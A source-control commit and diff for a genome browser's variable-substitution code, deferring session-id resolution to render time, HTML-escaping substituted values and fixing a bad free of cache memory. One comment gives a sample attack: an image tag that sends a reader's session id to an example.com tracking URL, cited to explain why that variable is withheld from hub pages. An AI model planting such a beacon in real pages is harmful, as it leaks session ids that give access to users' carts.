5f590f874b9d352023167b563e5b83f651488f0b
max
Tue Sep 15 04:56:35 2026 -0700
Resolve $hgsid in native track description pages too, refs #38283
A description page could already use $hgsid if it belonged to a hub, because a hub's
html is substituted at render time where there is a cart. A native page is substituted
once by hgTrackDb, which has no cart, so $hgsid quietly became the empty string and the
link it was part of came out broken. hg38's hprcRdt page has been shipping
"hgTrackUi?hgsid=&g=long_read_transcripts" for this reason.
hgTrackDb now writes the reference back out as ${hgsid} instead of resolving it, and
hVarSubstTrackDbHtml resolves it at render time for native pages as well as hub ones.
Only $hgsid is deferred, and only in the html field: the labels get no second pass, so a
deferred reference in one of them would reach the user as the literal text "${hgsid}".
The render pass over a native page acts only on the braced form, which is what keeps an
escaped $$hgsid escaped -- hgTrackDb collapses that to a bare $hgsid, and a bare one is
left alone.
The html is no longer freed before being replaced, and is replaced only when the
substitution actually changed something. hVarSubstExt allocates its result at the first
dollar sign whether or not it substitutes anything, so any page merely containing one
reached that free; for a native track tdb->html can point into the trackDb cache, which
is localmem carved out of an mmap'd file and never came from malloc. Reproduced on hg38
chm13LiftOver, whose page contains an awk snippet, with cacheTrackDbDir set.
Description pages have to be reloaded for the deferral to reach the trackDb table.
diff --git src/hg/lib/hVarSubst.c src/hg/lib/hVarSubst.c
index d471025f201..e0feffa2521 100644
--- src/hg/lib/hVarSubst.c
+++ src/hg/lib/hVarSubst.c
@@ -1,28 +1,29 @@
/* Handle variable substitutions in strings from trackDb and other
* labels. See trackDb/README for descriptions of values that can be
* substitute. This code needs to do a special handle to remain compatibility
* with behavior of the old substitution mechanism. */
/* Copyright (C) 2014 The Regents of the University of California
* See kent/LICENSE or http://genome.ucsc.edu/license/ for licensing information. */
#include "common.h"
#include "trackDb.h"
#include "hdb.h"
#include "hui.h"
#include "sqlNum.h"
#include "hubConnect.h"
+#include "htmshell.h"
#include "hVarSubst.h"
static boolean isVarEnd(boolean inBraces, char c)
/** does the character end a variable reference. */
{
if (inBraces)
return (c == '}');
else
return !((c == '_') || isalnum(c));
}
static char *parseVarName(char *desc, char *varStart, char *varName, int varNameSize)
/* parse substitution variable name out of a string, returning next position
* after name. */
{
@@ -34,37 +35,41 @@
p++;
int nameIdx = 0;
while ((nameIdx < varNameSize-1) && !isVarEnd(inBraces, *p))
varName[nameIdx++] = *p++;
if (nameIdx == 0)
errAbort("empty variable name in %s varStart='%s' varName='%s'", desc, varStart, varName);
if (nameIdx == varNameSize)
errAbort("variable name in desc %s exceeds maximum length of %d, starting with: \"%.*s\"",
desc, varNameSize-1, varNameSize-1, varName);
varName[nameIdx] = '\0';
if (inBraces)
p++;
return p;
}
-static char *parseVarNameMaybe(char *varStart, char *varName, int varNameSize)
+static char *parseVarNameMaybe(char *varStart, char *varName, int varNameSize,
+ boolean *retInBraces)
/* Like parseVarName, but return NULL instead of aborting when what follows the `$' is not
- * a well formed variable reference. Used in hubHtml mode, where a stray dollar sign in a
- * description page has to survive untouched. */
+ * a well formed variable reference. Used in html mode, where a stray dollar sign in a
+ * description page has to survive untouched. retInBraces, if given, says whether the
+ * reference was written ${name} rather than $name. */
{
char *p = varStart+1;
boolean inBraces = (*p == '{');
+if (retInBraces != NULL)
+ *retInBraces = inBraces;
if (inBraces)
p++;
int nameIdx = 0;
while ((nameIdx < varNameSize-1) && (*p != '\0') && !isVarEnd(inBraces, *p))
varName[nameIdx++] = *p++;
if ((nameIdx == 0) || (nameIdx == varNameSize-1))
return NULL;
varName[nameIdx] = '\0';
if (inBraces)
{
if (*p != '}')
return NULL;
p++;
}
return p;
@@ -196,35 +201,37 @@
return (strcasecmp(varBase, "organism") == 0)
|| (strcasecmp(varBase, "date") == 0)
|| (strcasecmp(varBase, "linkToGatewayPage") == 0)
|| (strcasecmp(varBase, "db") == 0)
|| (strcasecmp(varBase, "hgsid") == 0);
}
static char *valOrDb(char *val, char *database)
/* return val if not-null, or a clone of database if it is null */
{
if (val == NULL)
val = cloneString(database);
return val;
}
-static void substDatabaseVar(char *database, struct cart *cart, char *varBase,
- struct dyString *dest)
+static void substDatabaseVar(char *database, struct cart *cart, boolean deferHgsid,
+ char *varBase, struct dyString *dest)
/* substitute a variable resolved from the database name.
* Specify the base name, excluding the o_ prefix. If database
- * can be looked up, just substitute the database name. */
+ * can be looked up, just substitute the database name.
+ * deferHgsid asks for $hgsid to be written back out for a later pass instead of resolved;
+ * it is only ever set for the html field, where there is a later pass to do it. */
{
if (sameString(varBase, "Organism"))
{
char *org = valOrDb(hOrganism(database), database);
dyStringAppend(dest, org);
freeMem(org);
}
else if (sameString(varBase, "ORGANISM"))
{
char *org = hOrganism(database);
if (org != NULL)
touppers(org);
else
org = valOrDb(org, database);
dyStringAppend(dest, org);
@@ -236,207 +243,285 @@
if ((org != NULL) && !isAbbrevScientificName(org))
tolowers(org);
else
org = valOrDb(org, database);
dyStringAppend(dest, org);
freeMem(org);
}
else if (sameString(varBase, "date"))
{
char *date = valOrDb(hFreezeDateOpt(database), database);
dyStringAppend(dest, date);
freeMem(date);
}
else if (sameString(varBase, "db"))
dyStringAppend(dest, database);
-else if (sameString(varBase, "hgsid") && cart != NULL)
+else if (sameString(varBase, "hgsid"))
+ {
+ if (cart != NULL)
dyStringAppend(dest, cartSessionId(cart));
+ else if (deferHgsid)
+ // hgTrackDb loading the html field. A session id is per-request and cannot be baked
+ // into the trackDb table, so write the reference back out and let the CGI that renders
+ // the page resolve it. Always in braces: that is the only form the render pass acts
+ // on, so an escaped `$$hgsid' -- which arrives here already collapsed to `$hgsid' and
+ // never reaches this branch -- is left alone by that pass (see nativeHtmlVars).
+ dyStringAppend(dest, "${hgsid}");
+ // Otherwise expand to nothing, which is what every caller without a cart has always done.
+ // Writing the reference back out here would leak the literal text "${hgsid}" into
+ // shortLabel and longLabel, and into hgNear's column html, none of which get a later pass.
+ }
}
static char *parentTrackName(struct trackDb *tdb)
/* Name of the container holding tdb, in the form hgTrackUi's g= parameter needs: with the
* hub_<id>_ prefix when this is a hub track, since that is what trackHubAddNamePrefix put
* into tdb->track. Views are skipped, a view has no description page of its own. Returns
* the track's own name when it is not in a container. */
{
struct trackDb *parent = tdb->parent;
char *viewName = NULL;
while ((parent != NULL) && tdbIsView(parent, &viewName))
parent = parent->parent;
return (parent != NULL) ? parent->track : tdb->track;
}
/* The variables a hub's description page may use. Deliberately a short explicit list and
* not every trackDb setting the way native trackDb allows: a hub page written before this
* substitution existed can easily contain something like "$track" inside a shell example,
- * and silently rewriting that would be worse than not substituting at all. */
-static char *hubHtmlVars[] = {"db", "hgsid", "track", "parentTrack",
+ * and silently rewriting that would be worse than not substituting at all.
+ *
+ * $hgsid is deliberately not here. A hub's description page is written by someone else and
+ * is only lightly sanitized (htmlSanitize allows an <img> with an http src), so a page
+ * containing <img src="https://example.com/px?s=${hgsid}"> would hand the reader's session
+ * id to the hub's server, and a session id on its own is enough to read and write that
+ * cart. Nothing in a hub needs it: a link back into the browser works without one. */
+static char *hubHtmlVars[] = {"db", "track", "parentTrack",
"organism", "Organism", "ORGANISM", "date", "downloadsServer"};
-static boolean isHubHtmlVar(struct cart *cart, struct trackDb *tdb, char *varName)
-/* Is varName one of the variables a hub description page may use, and can this call
- * resolve it? Asked only in hubHtml mode, to tell a variable reference from a dollar sign
- * that happens to be followed by a word. */
+/* A native page has already been through hgTrackDb, which resolved everything it could and
+ * left only $hgsid. Substituting anything else here would be wrong as well as pointless:
+ * hgTrackDb turns an escaped `$$db' into a literal `$db', and a second pass over the full
+ * list would then expand it. */
+static char *nativeHtmlVars[] = {"hgsid"};
+
+static boolean isHtmlVar(struct cart *cart, struct trackDb *tdb, char *varName,
+ char **htmlVars, int htmlVarCount)
+/* Is varName one of the variables this description page may use, and can this call resolve
+ * it? Asked only in html mode, to tell a variable reference from a dollar sign that
+ * happens to be followed by a word. */
{
if (tdb == NULL)
return FALSE;
if (sameString(varName, "hgsid") && (cart == NULL))
return FALSE;
int i;
-for (i = 0; i < ArraySize(hubHtmlVars); i++)
- if (sameString(varName, hubHtmlVars[i]))
+for (i = 0; i < htmlVarCount; i++)
+ if (sameString(varName, htmlVars[i]))
return TRUE;
return FALSE;
}
static void substTrackDbVar(char *desc, struct trackDb *tdb, char *database,
char *varName, struct dyString *dest)
/* substitute a variable value obtained from trackDb */
{
if (sameString(varName, "matrix"))
substMatrixHtml(tdb, dest);
else if (sameString(varName, "chainLinearGap"))
substLinearGap(tdb, dest);
else if (sameString(varName, "downloadsServer"))
dyStringAppend(dest, hDownloadsServer());
else if (sameString(varName, "track"))
dyStringAppend(dest, tdb->track);
else if (sameString(varName, "parentTrack"))
dyStringAppend(dest, parentTrackName(tdb));
else
dyStringAppend(dest, lookupTrackDbSubVar(desc, tdb, varName, varName));
}
-static void substVar(char *desc, struct cart *cart, struct trackDb *tdb, char *database,
- char *varName, struct dyString *dest)
+static void substVar(char *desc, struct cart *cart, boolean deferHgsid, struct trackDb *tdb,
+ char *database, char *varName, struct dyString *dest)
/* look up varName and insert value in output string. Error if variable
* can't be found */
{
if (isDatabaseVar(varName))
- substDatabaseVar(database, cart, varName, dest);
+ substDatabaseVar(database, cart, deferHgsid, varName, dest);
else if (tdb == NULL)
errAbort("invalid variable \"%s\" to substitute in %s",
varName, desc);
else if (startsWith("o_", varName) && isDatabaseVar(varName+2))
- substDatabaseVar(lookupOtherDb(desc, tdb, varName), cart, varName+2, dest);
+ substDatabaseVar(lookupOtherDb(desc, tdb, varName), cart, deferHgsid, varName+2, dest);
else
substTrackDbVar(desc, tdb, database, varName, dest);
}
static char *hVarSubstExt(char *desc, struct cart *cart, struct trackDb *tdb, char *database,
- char *src, boolean hubHtml)
+ char *src, char **htmlVars, int htmlVarCount, boolean bracesOnly,
+ boolean deferHgsid)
/* Parse a string and substitute variable references. Return NULL if
* no variable references were found. Error on missing variables (except
* $matrix). desc is a brief description to print on an error to help with
* debugging. tdb maybe NULL to only do substitutions based on database
* and organism. cart may be NULL. See trackDb/README for more information.
- * In hubHtml mode nothing is an error and only the variables in hubHtmlVars are
- * recognized: every other `$' is copied through unchanged. */
+ * When htmlVars is given nothing is an error and only those variables are recognized:
+ * every other `$' is copied through unchanged. Pass NULL for the strict behaviour that
+ * shortLabel, longLabel and native trackDb html need.
+ * bracesOnly additionally requires the ${name} form, for a pass that runs over text an
+ * earlier pass has already been through. deferHgsid writes $hgsid back out instead of
+ * resolving it; see substDatabaseVar. */
{
struct dyString *dest = NULL;
char *start = src; // start of current static string in src
char *next = src; // cursor
char varName[65];
while ((next = strchr(next, '$')) != NULL)
{
if (dest == NULL)
dest = dyStringNew(strlen(src));
dyStringAppendN(dest, start, next-start);
if (*(next+1) == '$')
{
// $$ is a literal $
dyStringAppendC(dest, '$');
start = next = next + 2;
}
- else if (hubHtml)
+ else if (htmlVars != NULL)
{
// variable reference, or just a dollar sign in the text
- char *after = parseVarNameMaybe(next, varName, sizeof(varName));
- if ((after != NULL) && isHubHtmlVar(cart, tdb, varName))
- {
- substVar(desc, cart, tdb, database, varName, dest);
+ boolean inBraces = FALSE;
+ char *after = parseVarNameMaybe(next, varName, sizeof(varName), &inBraces);
+ if ((after != NULL) && (inBraces || !bracesOnly)
+ && isHtmlVar(cart, tdb, varName, htmlVars, htmlVarCount))
+ {
+ /* Escape the value before it goes into the page. A hub's description html was
+ * sanitized once, when the hub was read (trackHub.c, htmlSanitize); this pass
+ * runs at render time, long after, so anything it inserted raw would be markup
+ * that nothing had ever looked at. Two of the variables are exactly that:
+ * $organism and $date come straight out of a hub's genomes.txt with no
+ * validation. None of the variables in either list is meant to carry markup,
+ * so escaping them all costs nothing and leaves no gap to keep track of. */
+ struct dyString *raw = dyStringNew(64);
+ substVar(desc, cart, deferHgsid, tdb, database, varName, raw);
+ char *escaped = htmlEncode(raw->string);
+ dyStringAppend(dest, escaped);
+ freeMem(escaped);
+ dyStringFree(&raw);
start = next = after;
}
else
{
dyStringAppendC(dest, '$');
start = next = next + 1;
}
}
else
{
// variable reference
start = next = parseVarName(desc, next, varName, sizeof(varName));
- substVar(desc, cart, tdb, database, varName, dest);
+ substVar(desc, cart, deferHgsid, tdb, database, varName, dest);
}
}
if (dest != NULL)
{
dyStringAppend(dest, start);
return dyStringCannibalize(&dest);
}
else
return NULL; // no substitutions
}
char *hVarSubst(char *desc, struct trackDb *tdb, char *database, char *src)
/* Parse a string and substitute variable references. Return NULL if
* no variable references were found. Error on missing variables (except
* $matrix). desc is a brief description to print on error to help with
* debugging. tdb maybe NULL to only do substitutions based on database
* and organism. See trackDb/README for more information.*/
{
-return hVarSubstExt(desc, NULL, tdb, database, src, FALSE);
+return hVarSubstExt(desc, NULL, tdb, database, src, NULL, 0, FALSE, FALSE);
}
void hVarSubstInVar(char *desc, struct trackDb *tdb, char *database, char **varPtr)
/* hVarSubst on a dynamically allocated string, replacing string in substitutions
* occur, freeing the old memory if necessary. See hVarSubst for details.
*/
{
-char *dest = hVarSubstExt(desc, NULL, tdb, database, *varPtr, FALSE);
+char *dest = hVarSubstExt(desc, NULL, tdb, database, *varPtr, NULL, 0, FALSE, FALSE);
if (dest != NULL)
{
freez(varPtr);
*varPtr = dest;
}
}
void hVarSubstTrackDb(struct trackDb *tdb, char *database)
/* Substitute variables in trackDb shortLabel, longLabel, and html fields. */
{
hVarSubstInVar(tdb->track, tdb, database, &tdb->shortLabel);
hVarSubstInVar(tdb->track, tdb, database, &tdb->longLabel);
-hVarSubstInVar(tdb->track, tdb, database, &tdb->html);
+/* The html field alone defers $hgsid, because it alone gets a second pass at render time
+ * (hVarSubstTrackDbHtml). The labels do not, so a deferred reference in one of them would
+ * reach the user as the literal text "${hgsid}". */
+char *dest = hVarSubstExt(tdb->track, NULL, tdb, database, tdb->html, NULL, 0, FALSE, TRUE);
+if (dest != NULL)
+ {
+ freez(&tdb->html);
+ tdb->html = dest;
+ }
}
void hVarSubstWithCart(char *desc, struct cart *cart, struct trackDb *tdb, char *database,
char **varPtr)
/* Like hVarSubstInVar, but if cart is non-NULL, $hgsid will be substituted. */
{
-char *dest = hVarSubstExt(desc, cart, tdb, database, *varPtr, FALSE);
+char *dest = hVarSubstExt(desc, cart, tdb, database, *varPtr, NULL, 0, FALSE, FALSE);
if (dest != NULL)
{
freez(varPtr);
*varPtr = dest;
}
}
void hVarSubstTrackDbHtml(struct cart *cart, struct trackDb *tdb, char *database)
-/* Substitute variables in the description page of a hub track. Native trackDb needs no
- * such call: hgTrackDb already substituted the html when it loaded trackDb. A hub's html
- * comes straight off the hub's web server and has never been through substitution, so it
- * is done here, at render time, where $db, $hgsid and $parentTrack resolve to the hub_<id>_
- * names the CGIs actually use. Only the variables in hubHtmlVars are recognized and
- * nothing is an error, so a dollar sign in a description page that was not written with
- * this in mind stays a dollar sign. */
-{
-if ((tdb == NULL) || isEmpty(tdb->html) || !isHubTrack(tdb->track))
+/* Substitute variables in a track's description page, at render time, where there is a
+ * cart and where $db, $hgsid and $parentTrack resolve to the hub_<id>_ names the CGIs
+ * actually use. How much is left to do depends on where the page came from.
+ *
+ * A hub's html comes straight off the hub's web server and has never been through
+ * substitution, so the whole of hubHtmlVars is resolved here. A native page was already
+ * substituted by hgTrackDb when it loaded trackDb, and all that is left is $hgsid, which
+ * hgTrackDb had to defer because a session id is per-request.
+ *
+ * Nothing is an error either way, so a dollar sign in a description page that was not
+ * written with this in mind stays a dollar sign. */
+{
+if ((tdb == NULL) || isEmpty(tdb->html))
return;
-char *dest = hVarSubstExt(tdb->track, cart, tdb, database, tdb->html, TRUE);
-if (dest != NULL)
- {
- freez(&tdb->html);
+char **htmlVars = nativeHtmlVars;
+int htmlVarCount = ArraySize(nativeHtmlVars);
+/* A native page has been through hgTrackDb already, so only the ${hgsid} that pass deferred
+ * may be acted on here. Requiring the braces is what keeps an escaped `$$hgsid' escaped:
+ * hgTrackDb collapses it to a bare `$hgsid', which this pass then leaves alone. */
+boolean bracesOnly = TRUE;
+if (isHubTrack(tdb->track))
+ {
+ /* A hub page has never been substituted, so the full list applies and both $hgsid and
+ * ${hgsid} are meant to work. One pass, so `$$hgsid' escapes normally. */
+ htmlVars = hubHtmlVars;
+ htmlVarCount = ArraySize(hubHtmlVars);
+ bracesOnly = FALSE;
+ }
+char *dest = hVarSubstExt(tdb->track, cart, tdb, database, tdb->html, htmlVars, htmlVarCount,
+ bracesOnly, FALSE);
+/* Assign without freeing, and only when something actually changed. hVarSubstExt allocates
+ * its buffer at the first `$' whether or not it substitutes anything, so dest is non-NULL for
+ * any page that merely contains a dollar sign. For a native track tdb->html can point into
+ * the trackDb cache, which is localmem carved out of an mmap'd file (trackDbCache.c): that
+ * pointer never came from malloc, and freeing it aborts the CGI. The mapping is MAP_PRIVATE,
+ * so storing a new pointer is fine. The old string is left alone; it is either the cache's,
+ * which is not ours to free, or one string per request in a CGI that is about to exit. */
+if ((dest != NULL) && !sameString(dest, tdb->html))
tdb->html = dest;
- }
+else
+ freeMem(dest);
}